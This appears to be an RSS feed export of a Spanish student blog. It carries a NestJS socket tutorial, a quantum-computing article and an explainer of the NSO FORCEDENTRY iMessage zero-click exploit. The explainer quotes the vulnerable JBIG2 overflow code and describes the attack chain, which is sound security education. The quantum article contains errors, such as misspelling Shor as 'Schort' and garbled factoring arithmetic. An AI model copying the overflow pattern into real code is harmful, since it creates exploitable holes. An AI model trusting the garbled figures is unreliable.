<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[SCESI - UMSS]]></title><description><![CDATA[Blog SCESI una forma de compartir el conocimiento.]]></description><link>https://blog.scesi.org/</link><image><url>https://blog.scesi.org/favicon.png</url><title>SCESI - UMSS</title><link>https://blog.scesi.org/</link></image><generator>Ghost 4.19</generator><lastBuildDate>Thu, 22 Oct 2026 11:00:44 GMT</lastBuildDate><atom:link href="https://blog.scesi.org/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Conexión de clientes por medio de un servidor haciendo uso de Sockets en NestJS]]></title><description><![CDATA[<p>El presente blog expone una forma de permitir la comunicaci&#xF3;n en tiempo real de dos clientes haciendo uso de sockets y un servidor como intermediario. La intenci&#xF3;n de este material, es brindar un esquema escalable para la realizaci&#xF3;n de aplicaciones que requieran la interacci&</p>]]></description><link>https://blog.scesi.org/conexion-de-clientes-por-medio-de-un-servidor-haciendo-uso-de-sockets-en-nestjs/</link><guid isPermaLink="false">66a8fa41b863d222c8ae25cd</guid><dc:creator><![CDATA[Jairo Andree Maida Rojas]]></dc:creator><pubDate>Thu, 12 Sep 2024 13:43:02 GMT</pubDate><media:content url="https://blog.scesi.org/content/images/2024/07/Gatote-nest.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.scesi.org/content/images/2024/07/Gatote-nest.jpg" alt="Conexi&#xF3;n de clientes por medio de un servidor haciendo uso de Sockets en NestJS"><p>El presente blog expone una forma de permitir la comunicaci&#xF3;n en tiempo real de dos clientes haciendo uso de sockets y un servidor como intermediario. La intenci&#xF3;n de este material, es brindar un esquema escalable para la realizaci&#xF3;n de aplicaciones que requieran la interacci&#xF3;n en tiempo real de clientes y adem&#xE1;s la administraci&#xF3;n de usuarios, trabajo colaborativo y dem&#xE1;s por medio de la expansi&#xF3;n de la complejidad del nodo servidor.</p><p>Para realizar la explicaci&#xF3;n, se implementar&#xE1; una aplicaci&#xF3;n que permitir&#xE1; a dos jugadores enviarse lanzamientos con una intensidad arbitraria entre s&#xED;.</p><h2 id="demo">Demo</h2><figure class="kg-card kg-embed-card"><iframe width="200" height="150" src="https://www.youtube.com/embed/a9Xci9OfHGM?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen title="Sockets Demo"></iframe></figure><h2 id="componentes-del-sistema">Componentes del sistema</h2><p>El sistema est&#xE1; compuesto por los siguientes componentes:</p><ul><li>Servidor</li><li>Cliente</li></ul><h2 id="tecnolog%C3%ADas-empleadas">Tecnolog&#xED;as empleadas</h2><h3 id="websocketgateway"><a href="https://docs.nestjs.com/websockets/gateways">WebSocketGateway</a> </h3><p>Se utiliz&#xF3; esta tecnolog&#xED;a para establecer un socket en el servidor a la espera de las conexiones de los clientes.</p><p><strong>Instalaci&#xF3;n</strong></p><pre><code class="language-bash">npm i --save @nestjs/websockets @nestjs/platform-socket.io
</code></pre><p>Este comando instalar&#xE1; las siguientes dependencias de producci&#xF3;n:</p><pre><code class="language-json">&quot;dependencies&quot;: {
    &quot;@nestjs/platform-socket.io&quot;: &quot;^10.3.9&quot;,
    &quot;@nestjs/websockets&quot;: &quot;^10.3.9&quot;,
  }
</code></pre><h3 id="socketio"><a href="https://socket.io/">Socket.io</a></h3><p>Se utiliz&#xF3; esta tecnolog&#xED;a para permitir a los clientes conectarse con el servidor.</p><p><strong>Instalaci&#xF3;n</strong></p><pre><code class="language-bash">npm add socket.io-client
</code></pre><p>Este comando instalar&#xE1; la siguiente dependencia de producci&#xF3;n:</p><pre><code class="language-json">&quot;dependencies&quot;: {
    &quot;socket.io-client&quot;: &quot;^4.7.5&quot;
  }
</code></pre><h2 id="servidor">Servidor</h2><p>El servidor cumplir&#xE1; las siguientes funciones b&#xE1;sicas:</p><ul><li>Permitir la conexi&#xF3;n de clientes</li><li>Permitir la interacci&#xF3;n de clientes</li><li>Logs de actividad de los usuarios</li></ul><p>Para poder implementar las funcionalidades mencionadas anteriormente, se requiere definir un WebSocketGateway y un Servicio.</p><h3 id="gamegateway">GameGateway</h3><p>GameGateway es el WebSocketGateway empleado para permitir a los clientes conectarse con el servidor.</p><pre><code class="language-tsx">//./src/game/game.gateway.ts
import {
  WebSocketGateway,
  OnGatewayInit,
  OnGatewayConnection,
  OnGatewayDisconnect,
  SubscribeMessage,
  WebSocketServer,
  MessageBody,
  ConnectedSocket,
} from &apos;@nestjs/websockets&apos;;

import { Logger } from &apos;@nestjs/common&apos;;
import { Server, Socket } from &apos;socket.io&apos;;
import { GameService } from &apos;./game.service&apos;;
import { ShotDTO } from &apos;./dtos/shot.dto&apos;;

@WebSocketGateway()
export class GameGateway
  implements OnGatewayInit, OnGatewayConnection, OnGatewayDisconnect
{
  @WebSocketServer() server: Server;
  private logger: Logger = new Logger(
    &apos;@WebSocketServer() server: Server;GameGateway&apos;,
  );

  constructor(private readonly gameService: GameService){}

  afterInit(server: Server) {
      this.logger.log(&apos;Gateway Initialized&apos;);
  }

  handleConnection(client: Socket, ...args: any[]) {
      this.logger.log(`Client connected: ${client.id}`);
      this.gameService.addPlayer(client);
  }

  handleDisconnect(client:Socket) {
      this.logger.log(`Client disconnected: ${client.id}`);
      this.gameService.removePlayer(client);
  }

  @SubscribeMessage(&apos;shot&apos;)
  handleShot(@MessageBody() data: ShotDTO, @ConnectedSocket() client: Socket):void{
    const { intensity } = data;
    this.logger.log(`Shot by ${client.id} with shot intensity: ${intensity}`);
    this.gameService.shot(client, intensity);
  }

}

</code></pre><p><strong>Puntos importantes:</strong></p><ul><li>Se hace uso de un Logger para realizar registros de las conexiones de los clientes y tambi&#xE9;n de los lanzamientos.</li><li>Los sockets cliente son almacenados haciendo uso del m&#xE9;todo <code>addPlayer(socket:Socket)</code>del servicio.</li></ul><h3 id="gameservice">GameService</h3><p>GameService es el servicio que se encarga de toda la l&#xF3;gica referente al juego como ser: registro de jugadores y lanzamientos.</p><pre><code class="language-tsx">//./src/game/game.service.ts
import { Injectable, Logger } from &apos;@nestjs/common&apos;;
import { Scope } from &apos;eslint&apos;;
import { Socket } from &apos;socket.io&apos;;

export class GameService {
  private players: Map&lt;string, Socket&gt; = new Map();
  private logger: Logger = new Logger(&apos;GameService&apos;);

  addPlayer(client: Socket): void {
    this.players.set(client.id, client);
    this.logger.log(`Player added: ${client.id}`);
  }

  removePlayer(client: Socket): void {
    this.players.delete(client.id);
    this.logger.log(`Player removed: ${client.id}`);
  }

  shot(client: Socket, shotIntensity: number): void {
    this.getShot(client, shotIntensity);
  }

  getShot(client: Socket, shotIntensity: number): void{
    const opponent:Socket = this.getOpponent(client.id);
    if(opponent){
      this.logger.log(&apos;The one getting the shot is:&apos;, opponent.id);
      opponent.emit(&apos;get_shot&apos;, { intensity: shotIntensity });
    }else{
      client.emit(&apos;error&apos;, &apos;No opponent connected to get shot&apos;);
    }
  }

  getOpponent(clientId: string): Socket | undefined {
    for (const [id, player] of this.players.entries()) {
      if (id != clientId) {
        return player;
      }
    }

    return undefined;
  }
}

</code></pre><p><strong>Puntos importantes</strong></p><ul><li>Se hace uso de un mapa de <code>string</code> a <code>Socket</code> para poder encontrar a un cliente dado su <code>socket.id</code></li><li>Siempre que se desea encontrar el oponente de un socket dado, se realiza la busqueda en el mapa</li><li>Se realizan registros de los lanzamientos realizados por los jugadores</li></ul><h2 id="cliente">Cliente</h2><p>El cliente consiste en una API REST sencilla que permite generar conexiones al servidor haciendo uso de endpoints <code>POST</code></p><p>El cliente podr&#xE1; realizar las siguientes tareas:</p><ul><li>Conectarse con el servidor</li><li>Enviar lanzamientos a su contrincante por medio del servidor</li></ul><p>Para poder llevar a cabo las tareas mencionadas anteriormente, se requiere de un controlador y un servicio que haga uso de sockets para interactuar con el servidor.</p><h3 id="playercontroller">PlayerController</h3><pre><code class="language-tsx">//./src/player/player.controller.ts
import { Controller, Post, Body } from &apos;@nestjs/common&apos;;

import { PlayerService } from &apos;./player.service&apos;;
import { HostAddrDTO } from &apos;./dto/player_addr.dto&apos;;
import { ShotDTO } from &apos;./dto/shot.dto&apos;;

@Controller(&apos;player&apos;)
export class PlayerController {

    constructor(private readonly playerService:PlayerService){}
    
    @Post(&apos;connection&apos;)
    playerConnection(@Body() hostAdd:HostAddrDTO){
        const { hostAddr } = hostAdd;
        //console.log(&quot;HostAddrDTO recibido: &quot;, hostAdd);
        this.playerService.connectToServer(hostAddr);
    }

    @Post(&apos;shot&apos;)
    playerShot(@Body() shot:ShotDTO){
        const { intensity } = shot;
        this.playerService.sendShot(intensity);
    }
}

</code></pre><p><strong>Puntos importantes</strong></p><ul><li>Se hace uso de un endpoint <code>POST</code> que requiere de la direcci&#xF3;n del servidor para conectarse con &#xE9;l.</li><li>Se hace uso de un endpoint <code>POST</code> que requiere de la informaci&#xF3;n del lanzamiento para realizar un env&#xED;o al contrincante.</li></ul><h3 id="playerservice">PlayerService</h3><pre><code class="language-tsx">//./src/player/player.service.ts
import { Injectable, OnModuleInit } from &apos;@nestjs/common&apos;;
import { Socket, io } from &apos;socket.io-client&apos;;

@Injectable()
export class PlayerService {
  private socket: Socket;

  connectToServer(server: string) {

    if(this.isSocketConnected()){
      console.log(&apos;The socket is already connected&apos;);
      console.log(this.socket);
    }

    console.log(`Trying to connect to: ${server}`);
    this.socket = io(server);

    this.socket.on(&apos;connect&apos;, () =&gt; {
      console.log(&apos;Connected to server&apos;);
    });

    this.socket.on(&apos;disconnect&apos;, () =&gt; {
      console.log(&apos;Disconnected from server&apos;);
    });

    this.socket.on(&apos;connect_error&apos;, (error: any) =&gt; {
      console.log(&apos;Connection error:&apos;, error.message);
    });

    this.socket.on(&apos;error&apos;, (error:any) =&gt;{
      console.log(&apos;Socket error:&apos;, error.message);
    });

    this.socket.on(&apos;get_shot&apos;, (data: any) =&gt; {
      console.log(`Received shot with intensity: ${data.intensity}`);
    })
  }

  isSocketConnected():boolean{
    return this.socket &amp;&amp; this.socket.connected;
  }

  sendShot(intensity:number) {
    this.socket.emit(&apos;shot&apos;, { &quot;intensity&quot;: intensity });
  }

}
</code></pre><p><strong>Puntos importantes</strong></p><ul><li>Se implementa la l&#xF3;gica de conexi&#xF3;n y env&#xED;o de lanzamientos.</li></ul><h3 id="parametrizaci%C3%B3n-del-puerto-del-cliente">Parametrizaci&#xF3;n del puerto del cliente</h3><p>A fin de dinamizar la inicializaci&#xF3;n del cliente, se implement&#xF3; la parametrizaci&#xF3;n del puerto en el cual escucha el cliente para poder adaptar el servicio en contextos en los que los puertos por defecto se encuentren en uso.</p><p>La parametrizaci&#xF3;n se llev&#xF3; a cabo por medio de variables de entorno cuyo valor se recupera al momento de iniciar el cliente como se muestra a continuaci&#xF3;n:</p><pre><code class="language-tsx">//./src/main.ts
import { NestFactory } from &apos;@nestjs/core&apos;;
import { AppModule } from &apos;./app.module&apos;;
import { ConfigService } from &apos;@nestjs/config&apos;;

async function bootstrap() {
  const app = await NestFactory.create(AppModule);
  const configService = app.get(ConfigService);
  const port = configService.get&lt;number&gt;(&apos;PORT&apos;) || 3000;
  await app.listen(port);
  console.log(`Application is running on: ${await app.getUrl()}`);
}
bootstrap();
</code></pre><h2 id="conclusi%C3%B3n">Conclusi&#xF3;n</h2><p>De esta manera, finaliza la presentaci&#xF3;n del esquema base para la interacci&#xF3;n en tiempo real de clientes a trav&#xE9;s de un servidor utilizando Sockets en NestJS. Cabe destacar que el proyecto desarrollado es altamente escalable, lo que permite aumentar la complejidad del nodo intermedio y crear aplicaciones colaborativas como chats de texto y audio, videojuegos, y otras soluciones innovadoras con un alto potencial de impacto en el mercado actual.</p><p>Agradezco su atenci&#xF3;n y espero que este material les sea de gran utilidad.</p><h2 id="repositorios">Repositorios</h2><p>A continuaci&#xF3;n se adjuntan los repositorios tanto del servidor como del cliente:</p><h3 id="repositorio-servidor">Repositorio Servidor</h3><p><a href="https://github.com/GyroElSurfista/TenisAppServer">https://github.com/GyroElSurfista/TenisAppServer</a></p><h3 id="repositorio-cliente">Repositorio Cliente</h3><p><a href="https://github.com/GyroElSurfista/TenisAppClient">https://github.com/GyroElSurfista/TenisAppClient</a></p>]]></content:encoded></item><item><title><![CDATA[Computación Cuántica]]></title><description><![CDATA[<h2 id="introducci%C3%B3n">Introducci&#xF3;n</h2><p>Todas las computadoras usadas hoy en d&#xED;a obedecen un mismo sistema creado ya hace m&#xE1;s de 50 a&#xF1;os por el famoso matem&#xE1;tico Alan Turing, siguiendo este punto de vista, las m&#xE1;quinas desde ese entonces han seguido los</p>]]></description><link>https://blog.scesi.org/computacion-cuantica/</link><guid isPermaLink="false">6304119f9116fc0781523250</guid><dc:creator><![CDATA[Dilan Alejandro Antezana Serrano]]></dc:creator><pubDate>Tue, 23 Aug 2022 02:31:31 GMT</pubDate><media:content url="https://blog.scesi.org/content/images/2022/08/blog.jpg" medium="image"/><content:encoded><![CDATA[<h2 id="introducci%C3%B3n">Introducci&#xF3;n</h2><img src="https://blog.scesi.org/content/images/2022/08/blog.jpg" alt="Computaci&#xF3;n Cu&#xE1;ntica"><p>Todas las computadoras usadas hoy en d&#xED;a obedecen un mismo sistema creado ya hace m&#xE1;s de 50 a&#xF1;os por el famoso matem&#xE1;tico Alan Turing, siguiendo este punto de vista, las m&#xE1;quinas desde ese entonces han seguido los principios anal&#xED;ticos de Charles Babbage que por m&#xE1;s anticuados que sean funcionan, y funcionan muy bien.</p><h2 id="el-problema-del-antiguo-modelo">El problema del antiguo modelo</h2><p>Si bien el modelo actual funciona bien, ha existido un problema adyacente desde hace casi 40 a&#xF1;os, y es la limitaci&#xF3;n que esto conlleva, teniendo as&#xED; solo una cierta capacidad de resoluci&#xF3;n de problemas que llamamos de dificultad P.<br>Si bien no suena muy complicado, este no es el &#xFA;nico problema que se presenta ni el m&#xE1;s preocupante, estableciendo as&#xED; la famosa Ley de Moore la cual establece que <strong>&#x201C;<em>el n&#xFA;mero de transistores por unidad de superficie en circuitos integrado se duplicar&#xE1; cada dos a&#xF1;os</em>&#x201D;</strong>, lo cual nos lleva a tener un l&#xED;mite en cuanto a la cantidad de microprocesadores se refiere, aparte del hecho de que el capital invertido se cuadruplica cada dos a&#xF1;os presentando as&#xED; la segunda ley de Moore en el cual se nos indica.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.scesi.org/content/images/2022/08/moore.jpg" class="kg-image" alt="Computaci&#xF3;n Cu&#xE1;ntica" loading="lazy" width="550" height="372"><figcaption>Gordon Earl Moore, Co-fundador de Intel</figcaption></figure><p><br>Esto ha llevado a la b&#xFA;squeda de un nuevo paradigma tecnol&#xF3;gico, tomado as&#xED; como uno de las principales corrientes a la computaci&#xF3;n cu&#xE1;ntica basada en la f&#xED;sica que lleva el mismo nombre, buscando as&#xED; la soluci&#xF3;n de las limitaciones presentadas en una de las ciencias puras con m&#xE1;s antig&#xFC;edad del mundo</p><h2 id="bits-cu%C3%A1nticos-y-computaci%C3%B3n-cu%C3%A1ntica-discreta">Bits cu&#xE1;nticos y computaci&#xF3;n cu&#xE1;ntica discreta</h2><p>Un bit es conocido como la unidad fundamental de la computaci&#xF3;n cl&#xE1;sica actual teniendo como estado 1 o 0, sin embargo, un bit cu&#xE1;ntico (llamado tambi&#xE9;n como qubit) puede adoptar ambos estados a la vez, de esta manera los bits cu&#xE1;nticos abran procesado cuatro estados en vez de uno a la vez. Este tipo de procesamientos est&#xE1;n desarrollados sobre estructuras algebraicas y anal&#xED;ticas basadas en sistemas discretos similares a los sistemas f&#xED;sicos de part&#xED;culas elementales.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.scesi.org/content/images/2022/08/image-2.png" class="kg-image" alt="Computaci&#xF3;n Cu&#xE1;ntica" loading="lazy" width="400" height="371"><figcaption>Comparaci&#xF3;n de capacidad entre unidades fundamentales</figcaption></figure><p>Si tomamos como ejemplo un sistema en mec&#xE1;nica cu&#xE1;ntica, este tiene acceso a un n&#xFA;mero discreto de estados los cuales pueden ser infinitos y preparados experimentalmente en uno de esos estados o en una superposici&#xF3;n de dos o m&#xE1;s de entre ellos. Esto es conocido como el elemento fundamental de la computadora cu&#xE1;ntica planteado por Deutsch. Por ejemplo, si tenemos un registro f&#xED;sico de 8 bits, la computadora solo puede almacenar uno de los 256 n&#xFA;meros formados, en cambio, en una computadora cu&#xE1;ntica se puede almacenar y operar 256 n&#xFA;meros al mismo tiempo, lo cual reduce el tiempo de respuesta de la computadora. </p><p>Visto de otro modo la f&#xED;sica cl&#xE1;sica con datos representados por vectores de dos dimensiones forma un campo vectorial de 2n dimensiones, en cambio en f&#xED;sica cu&#xE1;ntica el campo vectorial es representado por 2 ^ n dimensiones.<br>Sin embargo, a pesar de todas las supuestas ventajas que se muestra estos procesos en una computadora cl&#xE1;sica no son m&#xE1;s que perdida de tiempo, y es la raz&#xF3;n por la cual algoritmos como los de Schort no son utilizados com&#xFA;nmente ya que requiere de mucho tiempo de ejecuci&#xF3;n y compilaci&#xF3;n que en una computadora cu&#xE1;ntica no se requerir&#xED;a.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.scesi.org/content/images/2022/08/image-3.png" class="kg-image" alt="Computaci&#xF3;n Cu&#xE1;ntica" loading="lazy" width="584" height="170"><figcaption>Comparaci&#xF3;n entre mismos procesos llevados a cabo en diferentes computadoras</figcaption></figure><h2 id="computaci%C3%B3n-cu%C3%A1ntica-continua">Computaci&#xF3;n cu&#xE1;ntica continua</h2><p>Seg&#xFA;n lo mencionado anteriormente, el bit es la unidad fundamental discreta de informaci&#xF3;n, entonces pasamos al &#x201C;nat&#x201D; el cual es la unidad fundamental de informaci&#xF3;n continua, la cual obedece como regla:</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/08/image-4.png" class="kg-image" alt="Computaci&#xF3;n Cu&#xE1;ntica" loading="lazy" width="521" height="148"></figure><p>De esta manera llegamos al t&#xE9;rmino qunat, y al referirnos a computaci&#xF3;n cu&#xE1;ntica sobre variables continuas podr&#xED;amos pensar en la capacidad de hacer operaciones sobre qunats.</p><h2 id="algoritmo-de-schort">Algoritmo de Schort</h2><p>Las ventajas del paralelismo cu&#xE1;ntico son numerables, sin embargo, uno de los m&#xE1;s representativos y puesto en prueba es el algoritmo de Schort que con un ejemplo simple pone a prueba el poder&#xED;o de una maquina cu&#xE1;ntica. </p><p>La factorizaci&#xF3;n es algo simple pero si nos ponemos en frente un digito de 60 cifras &#xBF;Cu&#xE1;nto tiempo tomara una computadora cl&#xE1;sica en calcular sus factores?, si simplemente es dividir factores primos que multiplicados entre si resulten en el numero dado, el tiempo estimado de c&#xE1;lculo sobre pasa el tiempo de vida de una persona, es as&#xED; que el algoritmo de Schort explota el paralelismo cu&#xE1;ntico, empleando as&#xED; un algoritmo basado en teor&#xED;a de n&#xFA;meros &#x201C;convierte la factorizaci&#xF3;n en la evaluaci&#xF3;n del per&#xED;odo de una sucesi&#xF3;n larga (el per&#xED;odo r de la sucesi&#xF3;n 1 5 13 0 2 1 5 13 0 2 1 5 13 0 2..., por ejemplo, es 5). Supongamos que se desea factorizar el n&#xFA;mero N = 14. Para empezar, se toma al azar un n&#xFA;mero a m&#xE1;s peque&#xF1;o que N, por ejemplo 5. </p><p>Se define entonces la funci&#xF3;n f(n) = 5 n mod l4. El resultado de teor&#xED;a de n&#xFA;meros mencionado dice que / es peri&#xF3;dica y que su per&#xED;odo est&#xE1; relacionado con los factores de 14. Se puede verificar f&#xE1;cilmente que la sucesi&#xF3;n determinada por f al ser evaluada en n = 0,1,2, 3,... es 1,5,11,13,9,3,1,5,11,... Se observa que el per&#xED;odo de esta sucesi&#xF3;n es r = 6. Luego, para encontrar los factores de N s&#xF3;lo se requiere encontrar el m&#xE1;ximo com&#xFA;n divisor de N y ar/2 + 1 (o de N y ar/2 &#x2014; 1). As&#xED;, el m&#xE1;ximo com&#xFA;n divisor de 14 y de 56/2 +1 = 126 es 7. En el presente caso, la divisi&#xF3;n de 14 por 7 da directamente el otro factor, 2. (El factor 2 es el m&#xE1;ximo com&#xFA;n divisor de 14 y 56/2 &#x2014; 1 = 124.)&#x201D;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.scesi.org/content/images/2022/08/image-6.png" class="kg-image" alt="Computaci&#xF3;n Cu&#xE1;ntica" loading="lazy" width="651" height="479" srcset="https://blog.scesi.org/content/images/size/w600/2022/08/image-6.png 600w, https://blog.scesi.org/content/images/2022/08/image-6.png 651w"><figcaption>Implementaci&#xF3;n del algoritmo de Schort en un chip cu&#xE1;ntico</figcaption></figure><h2 id="primer-ordenador-cu%C3%A1ntico">Primer ordenador cu&#xE1;ntico</h2><p>El 8 de enero del presente a&#xF1;o IBM ha presentado el primer ordenador cu&#xE1;ntico comercial, denominado &#x201C;IBM Q System One&#x201D;, lo que significa que cualquiera con el espacio y dinero puede hacerlo, ya que este ordenador requiere de un sistema de refrigeraci&#xF3;n continuo y una constante mano de obra especializada. Sin embargo se espera que arruine menos partes costosas que la IBM 701.</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/08/image-5.png" class="kg-image" alt="Computaci&#xF3;n Cu&#xE1;ntica" loading="lazy" width="651" height="510" srcset="https://blog.scesi.org/content/images/size/w600/2022/08/image-5.png 600w, https://blog.scesi.org/content/images/2022/08/image-5.png 651w"></figure>]]></content:encoded></item><item><title><![CDATA[Exploit de iMessage zero-click]]></title><description><![CDATA[<h2 id="una-obra-de-la-ingenier%C3%ADa-inform%C3%A1tica%E2%80%8C%E2%80%8C">Una obra de la ingenier&#xED;a inform&#xE1;tica&#x200C;&#x200C;</h2><p><em><em>NSO Group</em></em> es una empresa de tecnolog&#xED;a israel&#xED; cuyo spyware mas conocido y destacado es Pegasus, que permite la vigilancia remota de Smart phones. Es muy dif&#xED;cil encontrar los exploits de Pegasus, pero</p>]]></description><link>https://blog.scesi.org/exploit-de-imessage-zero-click/</link><guid isPermaLink="false">62784be6ad342807c32cd0af</guid><category><![CDATA[Hacking]]></category><category><![CDATA[Seguridad]]></category><dc:creator><![CDATA[Jhonny Gary Mamani Cortez]]></dc:creator><pubDate>Wed, 11 May 2022 00:42:48 GMT</pubDate><media:content url="https://blog.scesi.org/content/images/2022/05/imagen_2022-05-08_203831166.png" medium="image"/><content:encoded><![CDATA[<h2 id="una-obra-de-la-ingenier%C3%ADa-inform%C3%A1tica%E2%80%8C%E2%80%8C">Una obra de la ingenier&#xED;a inform&#xE1;tica&#x200C;&#x200C;</h2><img src="https://blog.scesi.org/content/images/2022/05/imagen_2022-05-08_203831166.png" alt="Exploit de iMessage zero-click"><p><em><em>NSO Group</em></em> es una empresa de tecnolog&#xED;a israel&#xED; cuyo spyware mas conocido y destacado es Pegasus, que permite la vigilancia remota de Smart phones. Es muy dif&#xED;cil encontrar los exploits de Pegasus, pero gracias a una activista saud&#xED;, Citizen Lab (laboratorio de investigaci&#xF3;n y desarrollo en la intersecci&#xF3;n del ciberespacio, la seguridad global y los derechos humanos) pudo recuperar exploits zero-click iMessage desde un iPhone.</p><p><em><em>&#xBF;Qu&#xE9; es un zero-click</em> <em>exploit?</em></em></p><p>En un escenario de zero-click no es necesario ninguna interacci&#xF3;n, lo que significa que el atacante no necesita hacer ataques de phishing, el malware se podr&#xE1; instalar en el dispositivo sin que la v&#xED;ctima haga clic en ning&#xFA;n enlace y el exploit trabajara silenciosamente, a no ser que no uses un dispositivo no hay forma de evitar un zero-click exploit.</p><p><i>&#xBF;C&#xF3;mo</i><em><em> se pudo crear este exploit?</em></em></p><p>iMessage, el servicio de mensajer&#xED;a instant&#xE1;nea desarrollado por Apple, permite a sus usuarios enviar gifs, las im&#xE1;genes animadas t&#xED;picamente peque&#xF1;as y de baja calidad populares en la cultura meme, Apple quer&#xED;a hacer que esos GIF se reprodujeran sin cesar en lugar de reproducirlos solo una vez, por lo que despu&#xE9;s de recibir un mensaje pero mucho antes de que se muestre, iMessage llama al siguiente m&#xE9;todo en el proceso IMTranscoderAgent (fuera de la sandbox &quot;BlastDoor&quot;), pasando cualquier archivo de imagen recibido con la extensi&#xF3;n .gif. Pegasus utiliza &quot;fake gif&quot;, un pdf disfrazado de gif para atacar una vulnerabilidad en el CoreGraphics PDF parser. Es cierto que se puede ejecutar c&#xF3;digo JavaScript en archivos pdf pero no en CoreGraphics PDF parser, a pesar de eso, Pegasus encontr&#xF3; una forma.</p><p><em><em>JBIG2</em></em><br>Es un est&#xE1;ndar de compresi&#xF3;n de im&#xE1;genes lanzado en los a&#xF1;os 2000. Al usar scan to pdf se producen unos archivos muy peque&#xF1;os llegando a pesar unos cuantos kilobytes. </p><p><em>The vulnerability</em></p><p>La vulnerabilidad es un cl&#xE1;sico integer overflow al comparar y examinar segmentos referenciados en el formato JBIG2</p><!--kg-card-begin: html--><pre>
<code class="line-numbers language-c">  Guint numSyms; // (1)
  numSyms = 0;
  for (i = 0; i &lt; nRefSegs; ++i) {
    if ((seg = findSegment(refSegs[i]))) {
      if (seg-&gt;getType() == jbig2SegSymbolDict) {
        numSyms += ((JBIG2SymbolDict *)seg)-&gt;getSize();  // (2)
      } else if (seg-&gt;getType() == jbig2SegCodeTable) {
        codeTables-&gt;append(seg);
      }
    } else {
      error(errSyntaxError, getPos(),
            &quot;Invalid segment reference in JBIG2 text region&quot;);
      delete codeTables;
      return;
    }
  }
...
  // get the symbol bitmaps
  syms = (JBIG2Bitmap **)gmallocn(numSyms, sizeof(JBIG2Bitmap *)); // (3)
  kk = 0;
  for (i = 0; i &lt; nRefSegs; ++i) {
    if ((seg = findSegment(refSegs[i]))) {
      if (seg-&gt;getType() == jbig2SegSymbolDict) {
        symbolDict = (JBIG2SymbolDict *)seg;
        for (k = 0; k &lt; symbolDict-&gt;getSize(); ++k) {
          syms[kk++] = symbolDict-&gt;getBitmap(k); // (4)
        }
      }
    }
  }
</code>
</pre><!--kg-card-end: html--><p><em>numSyms</em> es un entero de 32 bits declarado en (1). Al proporcionar segmentos de referencia cuidadosamente elaborados es posible que la adici&#xF3;n repetida en (2) provoque que <em>numSyms</em> se desborde a un valor peque&#xF1;o y controlado.</p><p>Ese valor m&#xE1;s peque&#xF1;o se usa para el tama&#xF1;o de asignaci&#xF3;n de almacenamiento din&#xE1;mico en (3), lo que significa que <em>syms</em> apunta a un b&#xFA;fer de tama&#xF1;o insuficiente.</p><p>Dentro del bucle m&#xE1;s interno en (4), los valores del puntero JBIG2Bitmap se escriben en el b&#xFA;fer de <em>sims </em>de tama&#xF1;o inferior.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.scesi.org/content/images/2022/05/image-1.png" class="kg-image" alt="Exploit de iMessage zero-click" loading="lazy" width="508" height="362"><figcaption>Una vista simplificada del dise&#xF1;o de la memoria, que muestra el b&#xFA;fer de tama&#xF1;o insuficiente debajo del b&#xFA;fer de respaldo GList y el JBIG2Bitmap</figcaption></figure><p>El PDF est&#xE1; construido para explotar esta vulnerabilidad en el formato JBIG2 para preparar la memoria y tomar el control de la ejecuci&#xF3;n y al ser construido cuidadosamente se puede aplicar AND, OR, XOR y XNOR entre regiones de memoria, con estos operadores l&#xF3;gicos se puede calcular cualquier funci&#xF3;n computable. </p><p>JBIG2 no puede ejecutar comandos, pero cuando lo combinamos con esta vulnerabilidad, tiene la capacidad de emular circuitos de puertas l&#xF3;gicas que operan en la memoria. Entonces <em><em>&#xBF;por qu&#xE9; no construir tu propia arquitectura de computadora y usar eso?</em></em> Bueno, eso es exactamente lo que hace, utilizando 70000 segmentos de comandos con operadores l&#xF3;gicos crea una peque&#xF1;a computadora para ejecutar c&#xF3;digo (escrito espec&#xED;ficamente para dicha m&#xE1;quina) que prepara el contexto para la ejecuci&#xF3;n del payload el cual es el que orquesta el escape del sandbox que se encuentra presente en iMessage, para luego descargar y ejecutar un binario obtenido del servidor de C&amp;C (Command &amp; Control).</p><p>&#x200C;&#x200C;<em><em>&#xBF;Sorprendente y aterrador no?</em></em></p><p>Lo bueno es que fue arreglado, lo malo es que encontraran otra manera.</p><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html"><div class="kg-bookmark-content"><div class="kg-bookmark-title">A deep dive into an NSO zero-click iMessage exploit: Remote Code Execution</div><div class="kg-bookmark-description">Posted by Ian Beer &amp; Samuel Gro&#xDF; of Google Project Zero We want to thank Citizen Lab for sharing a sample of the FORCEDENTRY exploit w...</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://googleprojectzero.blogspot.com/favicon.ico" alt="Exploit de iMessage zero-click"><span class="kg-bookmark-publisher">Ryan</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://blogger.googleusercontent.com/img/a/AVvXsEgzqxpl0250IinIsgxGQRKF09QzU4pN0h8WvRtZQYaHjJmJ1MrGLh1wnEbaPBhSYHLgWezIfk6MOaGphBO3PRGX432k2dxcknktEErH4fW50f8MFzbqlMG-JdpGcSJw8NjMmTTAgKkBuCHku2Y06rQOS2mRI8voqyzI51OVlbBWA7CwtdFj4Sd50cMo7A=w1200-h630-p-k-no-nu" alt="Exploit de iMessage zero-click"></div></a></figure>]]></content:encoded></item><item><title><![CDATA[WRITEUP CTF CIDSI 2021]]></title><description><![CDATA[<p>Hola de nuevo, este CTF se llev&#xF3; a cabo en el Congreso Internacional De Seguridad Inform&#xE1;tica (CIDSI) y organizado por la Agencia de Gobierno Electr&#xF3;nico y 